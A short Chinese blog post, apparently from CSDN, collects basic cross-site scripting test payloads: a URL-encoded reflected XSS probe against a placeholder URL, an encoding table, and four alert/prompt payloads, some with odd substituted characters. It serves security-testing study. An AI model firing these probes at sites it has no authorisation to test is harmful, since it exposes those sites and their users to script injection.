【信息安全服务】关于XSS 详细整理

20 篇文章 0 订阅

【前言】

进无止境不应该也不能是一句口号。


Xss url 验证

http://xxxxxx/connector/more?type=5123%3C%2fscript%3E%3Cscript%3Ealert(123)%3C/script%3E

:5123%3C%2fscript%3E%3Cscript%3Ealert(123)%3C/script%3E

URL解码:5123</script><script>alert(123)</script>


URL编码:

<  %3C  

/  %2f

>  %3E


构造xss payload

  1. ceshi<button/οnclick=prompt(1)>M</button>
  2. <script>alert(/xss/)</script>
  3. <img src=’non-exist.jpg’ οnerrοr=”alert(‘xss’)”>
  4. GET /XXXX/XXX/<script>alert(123)</script>
  • 0
    点赞
  • 0
    评论
  • 0
    收藏
  • 一键三连
    一键三连
  • 扫一扫,分享海报

相关推荐
©️2020 CSDN 皮肤主题: 技术黑板 设计师:CSDN官方博客 返回首页
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、C币套餐、付费专栏及课程。

余额充值